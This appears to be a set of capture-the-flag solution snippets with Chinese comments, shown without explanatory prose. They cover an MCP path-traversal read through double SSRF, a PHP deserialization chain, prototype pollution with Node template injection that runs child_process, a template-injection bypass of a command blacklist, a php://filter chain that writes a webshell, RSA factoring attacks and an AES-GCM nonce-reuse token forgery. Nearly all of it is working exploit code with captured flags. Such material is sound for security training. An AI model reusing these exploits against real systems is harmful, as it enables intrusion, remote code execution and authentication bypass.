1
{
2
  "jsonrpc": "2.0",
3
  "method": "prompts/list",
4
  "id": 1
5
}

1
{
2
  "jsonrpc": "2.0",
3
  "method": "resources/templates/list",
4
  "id": 2
5
}

1
{
2
  "jsonrpc": "2.0",
3
  "method": "resources/read",
4
  "params": {
5
    "uri": "base64://tmp/..%2froot%2f1ffflllaaaggg"
6
  },
7
  "id": 3
8
}

1
read_payload = {
2
    "jsonrpc": "2.0",
3
    "method": "resources/read",
4
    "params": {
5
        "uri": "base64://tmp/..%2froot%2f1ffflllaaaggg"
6
    },
7
    "id": 5002
8
}
9

10
resp = send_double_ssrf("http://127.0.0.1:9000", method="POST", body=json.dumps(read_payload))
11
content = parse_mcp_response(resp)
12
flag_base64 = content['result']['contents'][0]['text']
13
flag = base64.b64decode(flag_base64).decode()
14
print(flag)

1
<?php
2

3
class RequestHandler {
4
    public $processor;
5
    public $action;
6
}
7

8
// 对象 B：负责执行命令
9
$b = new RequestHandler();
10
// 这里的 processor 先占位，反序列化后会是
11
null
12
$b->processor = null;
13
// 关键：将 action 的第一个元素设为对
14
processor 的引用
15
// 这样当 B->__construct 被调用，processor
16
更新时，action 也会指向新的 processor
17
$b->action = [&$b->processor, "execute"];
18

19
// 对象 A：负责触发 B 的重置
20
$a = new RequestHandler();
21
// A 析构时调用 B 的构造函数
22
$a->action = [$b, "__construct"];
23
$a->processor = null;
24

25
echo urlencode(serialize($a));

1
import requests
2

3
url = "http://web-6704f79fa6.challenge.
4
xctf.org.cn:80"
5
s = requests.Session()
6

7
# 1. Prototype Pollution 登录
8
headers = {"Content-Type": "application/
9
json"}
10
data_login = '{"__proto__": {"admin":
11
true}}'
12
s.post(f"{url}/login", data=data_login,
13
headers=headers)
14

15
# 2. SSTI 读取 Flag
16
# 构造 Payload: global.process.mainModule.
17
require('child_process').spawnSync('cat',
18
['/flag']).stdout.toString()
19
payload = "#{global.process.mainModule
20
['re'+'quire']('child_process').spawnSync
21
('cat', ['/flag']).stdout.toString()}"
22
data_render = {"word": payload}
23

24
response = s.post(f"{url}/render",
25
json=data_render)
26

27
print(response.text)
28
# Flag : flag{1grCxYZ1Wn6NAdObTj6v9NyhutotukTo}

1
for k,v in pairs(_G) do
2
    print(k,v)
3
end

1
print(S3cr3t0sEx3cFunc("whoami"))

1
root

1
print(S3cr3t0sEx3cFunc("find / -name
2
flag*"))

1
/flag
2
... (其他包含flag的系统文件)

1
print(S3cr3t0sEx3cFunc("cat /flag"))
2
flag{aQWDVMBMW0jx3by8tRm9DUPO720Aw4r9}

1
// 关键代码逻辑
2
$blacklist = '/system|exec|passthru|shell_exec|popen|proc_open|include|pcntl|eval|assert|call_user_func|create_function|putenv|getenv|error_log|dl|mail|symlink|link|chroot|scandir|dir|glob|readfile|file_get_contents|highlight_file|show_source|fopen|flag|cat|php|\(|\)|\'|\"|`/i';
3
if (preg_match($blacklist, $name)) {
4
    die("Hacker detected!...");
5
}
6
return View::display("Hello, " . $name);

1
?name={foreach $_FILES as $f}{foreach $f as $k=>$v}{foreach $_POST as $p}{if $k==$p}{if require $v}X{/if}{/if}{/foreach}{/foreach}{/foreach}

1
<?php
2
system('id'); // 测试命令
3
?>

1
/usr/bin/choom
2
...

1
<?php
2
error_reporting(0);
3
session_start();
4
// ... (定义了 FileUpload, FileView, UserLogin, SystemTool 等类) ...
5

6
// 数据处理
7
if (isset($_GET['data'])) {
8
    $data = $_GET['data'];
9
    // 黑名单过滤
10
    if (preg_match("/zip|phar|uploads/i", $data)){
11
        exit("Don't use dangerous protocol!");
12
    }
13
    // 关键漏洞点：读取 data 指向的内容并写回 data 指向的路径
14
    file_put_contents($data, file_get_contents($data));
15
    echo "Data processed successfully!";
16
    exit;
17
}
18
?>

1
漏洞点：file_put_contents($data, file_get_contents($data));

1
?data=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|convert.base64-decode/resource=shell.php

1
struct Header {
2
    char magic[4];      // 0xe6, 0x13, 0x04, 0x34
3
    uint8_t version;    // 0x78
4
    uint8_t type;       // 包类型 (0x01=Handshake, 0x03=Plaintext)
5
    uint64_t timestamp; // 8字节时间戳
6
    uint16_t seq;       // 2字节序列号
7
    uint32_t length;    // 4字节包体长度
8
};

1
# 1. 建立 SSL 连接并同步 Sequence
2
magic, ver, ptype, ts, seq, body = recv_pkt(ss)
3

4
# 2. 发送 DH 公钥 A
5
a = bytes_to_long(os.urandom(192)) % (P - 1)
6
A = pow(G, a, P)
7
send_pkt(ss, ts, seq + 1, TYPE_HANDSHAKE, long_to_bytes(A, 192))
8

9
# 3. 接收公钥 B 并计算 Session Key
10
_, _, _, rts, rseq, B_bytes = recv_pkt(ss)
11
B = bytes_to_long(B_bytes)
12
S = pow(B, a, P)
13
session_key = sha256(long_to_bytes(S, 192)).digest()
14

15
# 4. 发送 readflag 请求
16
send_pkt(ss, rts, rseq + 1, TYPE_PLAINTEXT, b'readflag')
17

18
# 5. 接收并解密 Flag (AES-GCM)
19
_, _, _, _, _, enc_body = recv_pkt(ss)
20
nonce = enc_body[:12]
21
ciphertext = enc_body[12:-16]
22
tag = enc_body[-16:]
23
cipher = AES.new(session_key, AES.MODE_GCM, nonce=nonce)
24
flag = cipher.decrypt(ciphertext)
25
print(flag)
26
# flag{QkIyDyHKvsf21le0jy4BgHS4L0lAWFcf}

1
from Crypto.Util.number import long_to_bytes
2
import gmpy2
3

4
# 题目数据
5
c = 30552929401084215063034197070424966877689134223841680278066312021587156531434892071537248907148790681466909308002649311844930826894649057192897551604881567331228562746768127186156752480882861591425570984214512121877203049350274961809052094232973854447555218322854092207716140975220436244578363062339274396240
6
d = 3888417341667647293339167810040888618410868462692524178646833996133379799018296328981354111017698785761492613305545720642074067943460789584401752506651064806409949068192314121154109956133705154002323898970515811126124590603285289442456305377146471883469053362010452897987327106754665010419125216504717347373
7
e = 0x10001
8

9
print("正在搜索 k...")
10

11
# 遍历 k 来寻找 phi
12
for k in range(1, e):
13
    if (e * d - 1) % k == 0:
14
        phi = (e * d - 1) // k
15

16
        # 利用 phi 近似计算 p
17
        # phi = (p-1)(q-1) approx p^2
18
        p_approx = gmpy2.isqrt(phi)
19

20
        # 在近似值附近搜索 p
21
        p = p_approx
22
        for i in range(20000):
23
            if phi % (p - 1) == 0:
24
                q_minus_1 = phi // (p - 1)
25
                q = q_minus_1 + 1
26

27
                # 验证素数和 next_prime 条件
28
                if gmpy2.is_prime(p) and gmpy2.is_prime(q):
29
                    if q == gmpy2.next_prime(p):
30
                        print(f"找到 k = {k}")
31
                        print(f"p = {p}")
32
                        print(f"q = {q}")
33
                        n = p * q
34
                        m = pow(int(c), int(d), int(n))
35
                        try:
36
                            flag = long_to_bytes(m)
37
                            print(f"Flag: {flag.decode()}")
38
                            exit(0)
39
                        except:
40
                            pass
41
            p -= 1
42
# flag{Y0u_kNow_h0w_7o_f4cTor1z3_phI}

1
from Crypto.Util.number import *
2
import math
3

4
n =
5
e =
6

7
def continued_fraction(numerator, denominator):
8
    while denominator:
9
        q = numerator // denominator
10
        yield q
11
        numerator, denominator = denominator, numerator % denominator
12

13
def convergents(cf):
14
    n0, d0 = 0, 1
15
    n1, d1 = 1, 0
16
    for q in cf:
17
        n2, d2 = q * n1 + n0, q * d1 + d0
18
        yield n2, d2
19
        n0, d0 = n1, d1
20
        n1, d1 = n2, d2
21

22
def is_perfect_square(n):
23
    if n < 0: return False
24
    x = int(math.isqrt(n))
25
    return x * x == n
26

27
def solve_quadratic(a, b, c):
28
    # ax^2 + bx + c = 0
29
    delta = b*b - 4*a*c
30
    if delta < 0: return None
31
    if not is_perfect_square(delta): return None
32
    sqrt_delta = math.isqrt(delta)
33
    if ( -b + sqrt_delta ) % (2*a) == 0:
34
        return ( -b + sqrt_delta ) // (2*a)
35
    return None
36

37
cf = continued_fraction(e, n**3)
38
convs = convergents(cf)
39

40
for K, d in convs:
41
    if d == 0: continue
42
    if K == 0: continue
43

44
    # Check if d is around 500 bits
45
    if d.bit_length() > 510:
46
        # We can stop if d gets too large, but let's check a bit further just in case
47
        if d.bit_length() > 520:
48
            break
49

50
    # Y = (ed - 1) / K
51
    # Y = n^3 - n(p^2+q^2) + n
52
    # n(p^2+q^2) = n^3 + n - Y
53

54
    if (e*d - 1) % K != 0:
55
        continue
56

57
    Y = (e*d - 1) // K
58
    val = n**3 + n - Y
59
    if val % n != 0:
60
        continue
61

62
    sum_sq = val // n # p^2 + q^2
63

64
    # We have p^2 + q^2 = sum_sq
65
    # We have p^2 * q^2 = n^2
66
    # Z^2 - sum_sq * Z + n^2 = 0  (roots are p^2, q^2)
67

68
    res = solve_quadratic(1, -sum_sq, n**2)
69
    if res:
70
        p2 = res
71
        if is_perfect_square(p2):
72
            p = math.isqrt(p2)
73
            if n % p == 0:
74
                print(f"Found p: {p}")
75
                q = n // p
76
                print(f"Found q: {q}")
77

78
                # Verify d
79
                # We need to construct the QN class and decrypt
80
                break
81
else:
82
    print("Failed to find p, q")

1
from Crypto.Util.number import *
2

3
n =
4
e =
5
c_tuple =
6

7
p =
8
q =
9

10
class QN:
11
    def __init__(self, a, b, c, d, n):
12
        self.a = a % n
13
        self.b = b % n
14
        self.c = c % n
15
        self.d = d % n
16
        self.n = n
17
    def __mul__(self, other):
18
        if isinstance(other, QN) and self.n == other.n:
19
            n = self.n
20
            a1, b1, c1, d1 = self.a, self.b, self.c, self.d
21
            a2, b2, c2, d2 = other.a, other.b, other.c, other.d
22
            a = (a1*a2 - b1*b2 - c1*c2 - d1*d2) % n
23
            b = (a1*b2 + b1*a2 + c1*d2 - d1*c2) % n
24
            c = (a1*c2 - b1*d2 + c1*a2 + d1*b2) % n
25
            d = (a1*d2 + b1*c2 - c1*b2 + d1*a2) % n
26
            return QN(a, b, c, d, n)
27
        return NotImplemented
28
    def __pow__(self, exp):
29
        if exp <= 0:
30
            return QN(1, 0, 0, 0, self.n)
31
        result = QN(1, 0, 0, 0, self.n)
32
        base = self
33
        while exp > 0:
34
            if exp & 1:
35
                result = result * base
36
            base = base * base
37
            exp >>= 1
38
        return result
39
    def __repr__(self):
40
        return f"({self.a}, {self.b}, {self.c}, {self.d})"
41

42
def LCM(a, b):
43
    return abs(a*b) // GCD(a,b)
44

45
lam_p = p * (p**2 - 1)
46
lam_q = q * (q**2 - 1)
47
lam = LCM(lam_p, lam_q)
48

49
d = inverse(e, lam)
50
print(f"Recovered d bits: {d.bit_length()}")
51

52
c = QN(c_tuple[0], c_tuple[1], c_tuple[2], c_tuple[3], n)
53
m = pow(c, d)
54

55
try:
56
    print(long_to_bytes(m.a))
57
except:
58
    print("Failed to convert m.a to bytes")
59
    print(m.a)
60

61
# flag{Qu4t3rNion_l5_S0_6rea7_&_Ch4rm1n9}

1
def bytes_to_long(b):
2
    return int.from_bytes(b, 'big')
3

4
def long_to_bytes(n):
5
    return n.to_bytes(16, 'big')
6

7
class GField:
8

9
    def __init__(self, val=0):
10
        self.val = val
11

12
    def __add__(self, other):
13
        return GField(self.val ^ other.val)
14

15
    def __mul__(self, other):
16
        x = self.val
17
        y = other.val
18
        res = 0
19
        for i in range(128):
20
            if (y >> (127 - i)) & 1:
21
                res ^= x
22
            if x & 1:
23
                x = (x >> 1) ^ 0xE1000000000000000000000000000000
24
            else:
25
                x >>= 1
26
        return GField(res)
27

28
    def pow(self, n):
29
        res = GField(1 << 127)
30
        pass
31

32

33
def gcm_mul(a, b):
34
    # a and b are 128-bit integers
35
    p = 0
36
    for i in range(128):
37
        if (b >> i) & 1:
38
            p ^= a
39
        if (a >> 127) & 1:
40
            a = (a << 1) ^ 0xE1
41
        else:
42
            a <<= 1
43

44
    return p
45

46

47
def gf_mult(x, y):
48

49
    p = 0
50
    for i in range(128):
51
        if (y >> i) & 1:
52
            p ^= x
53
        if (x >> 127) & 1:
54
            x = (x << 1) ^ 135
55
        else:
56
            x <<= 1
57
    return p
58

59

60

61
def reverse_bits(n):
62
    # Reverse bits of 128-bit integer
63
    s = bin(n)[2:].zfill(128)
64
    return int(s[::-1], 2)
65

66

67

68
def gcm_to_poly(n):
69
    return reverse_bits(n)
70

71
def poly_to_gcm(n):
72
    return reverse_bits(n)
73

74
# Now standard arithmetic:
75
def gf_mul(a, b):
76
    p = 0
77
    mask = (1 << 128) - 1
78
    for i in range(128):
79
        if (b >> i) & 1:
80
            p ^= a
81
        if (a >> 127) & 1:
82
            a = ((a << 1) ^ 135) & mask
83
        else:
84
            a = (a << 1) & mask
85
    return p
86

87
def gf_pow(a, n):
88
    res = 1
89
    while n > 0:
90
        if n % 2 == 1:
91
            res = gf_mul(res, a)
92
        a = gf_mul(a, a)
93
        n //= 2
94
    return res
95

96
def gf_inv(a):
97
    # a^(2^128 - 2)
98
    return gf_pow(a, (1 << 128) - 2)
99

100
def gf_sqrt(a):
101
    # a^(2^127)
102
    return gf_pow(a, 1 << 127)

1
from pwn import *
2
from Crypto.Util.Padding import pad
3
from gcm_util import gcm_to_poly, poly_to_gcm, gf_mul, gf_inv, gf_sqrt, bytes_to_long, long_to_bytes
4

5

6
context.log_level = 'info'
7

8
def xor_bytes(a, b):
9
    return bytes(x ^ y for x, y in zip(a, b))
10

11
def solve():
12
    r = remote("pwn-c46f6a2305.challenge.xctf.org.cn", 9999, ssl=True)
13

14
    def update_nonce(nonce_bytes):
15
        r.sendlineafter(b'>', b'U')
16
        r.sendlineafter(b'nonce(hex)>', nonce_bytes.hex().encode())
17

18
    def register():
19
        r.sendlineafter(b'>', b'R')
20
        r.recvuntil(b"Register!\n")
21
        token_hex = r.recvline().strip()
22
        username_hex = r.recvline().strip()
23
        token = bytes.fromhex(token_hex.decode())
24
        username = bytes.fromhex(username_hex.decode())
25
        return token, username
26

27
    def login(token_bytes):
28
        r.sendlineafter(b'>', b'L')
29
        r.sendlineafter(b'token(hex)>', token_bytes.hex().encode())
30
        res = r.recvline() # Login!
31
        if b"Login!" in res:
32
            try:
33
                flag = r.recvall(timeout=2)
34
                print("Flag received:")
35
                print(flag.decode())
36
            except:
37
                print("No flag or connection closed.")
38
        else:
39
            print(f"Login response: {res}")
40

41
    # Step 1: Nonce 1
42
    nonce1 = os.urandom(12)
43
    update_nonce(nonce1)
44

45
    # Register twice
46
    token1, u1 = register()
47
    c1 = token1[:16]
48
    t1 = token1[16:]
49
    p1 = pad(u1, 16)
50

51
    token2, u2 = register()
52
    c2 = token2[:16]
53
    t2 = token2[16:]
54
    p2 = pad(u2, 16)
55

56
    log.info("Got 2 pairs from nonce 1")
57

58
    # Recover H
59
    poly_t1 = gcm_to_poly(bytes_to_long(t1))
60
    poly_t2 = gcm_to_poly(bytes_to_long(t2))
61
    poly_c1 = gcm_to_poly(bytes_to_long(c1))
62
    poly_c2 = gcm_to_poly(bytes_to_long(c2))
63

64
    diff_t = poly_t1 ^ poly_t2
65
    diff_c = poly_c1 ^ poly_c2
66

67
    inv_diff_c = gf_inv(diff_c)
68
    h2 = gf_mul(diff_t, inv_diff_c)
69
    h = gf_sqrt(h2)
70

71
    log.info(f"Recovered H: {hex(poly_to_gcm(h))}")
72

73
    # Step 2: Nonce 2
74
    nonce2 = os.urandom(12)
75
    update_nonce(nonce2)
76

77
    # Register once
78
    token3, u3 = register()
79
    c3 = token3[:16]
80
    t3 = token3[16:]
81
    p3 = pad(u3, 16)
82

83
    # Forge
84
    target_p = pad(b"admin", 16)
85
    keystream = xor_bytes(c3, p3)
86
    target_c = xor_bytes(target_p, keystream)
87

88
    poly_t3 = gcm_to_poly(bytes_to_long(t3))
89
    poly_c3 = gcm_to_poly(bytes_to_long(c3))
90
    poly_target_c = gcm_to_poly(bytes_to_long(target_c))
91

92
    diff_c_new = poly_target_c ^ poly_c3
93
    delta_t = gf_mul(diff_c_new, h2)
94

95
    poly_target_t = poly_t3 ^ delta_t
96
    target_t = long_to_bytes(poly_to_gcm(poly_target_t))
97

98
    fake_token = target_c + target_t
99

100
    log.info("Forged token. Logging in...")
101
    login(fake_token)
102

103
if __name__ == "__main__":
104
    solve()
105
# flag{Dv16jo7D5Lo2Z8HJMcjBpgWe41ur6hnu}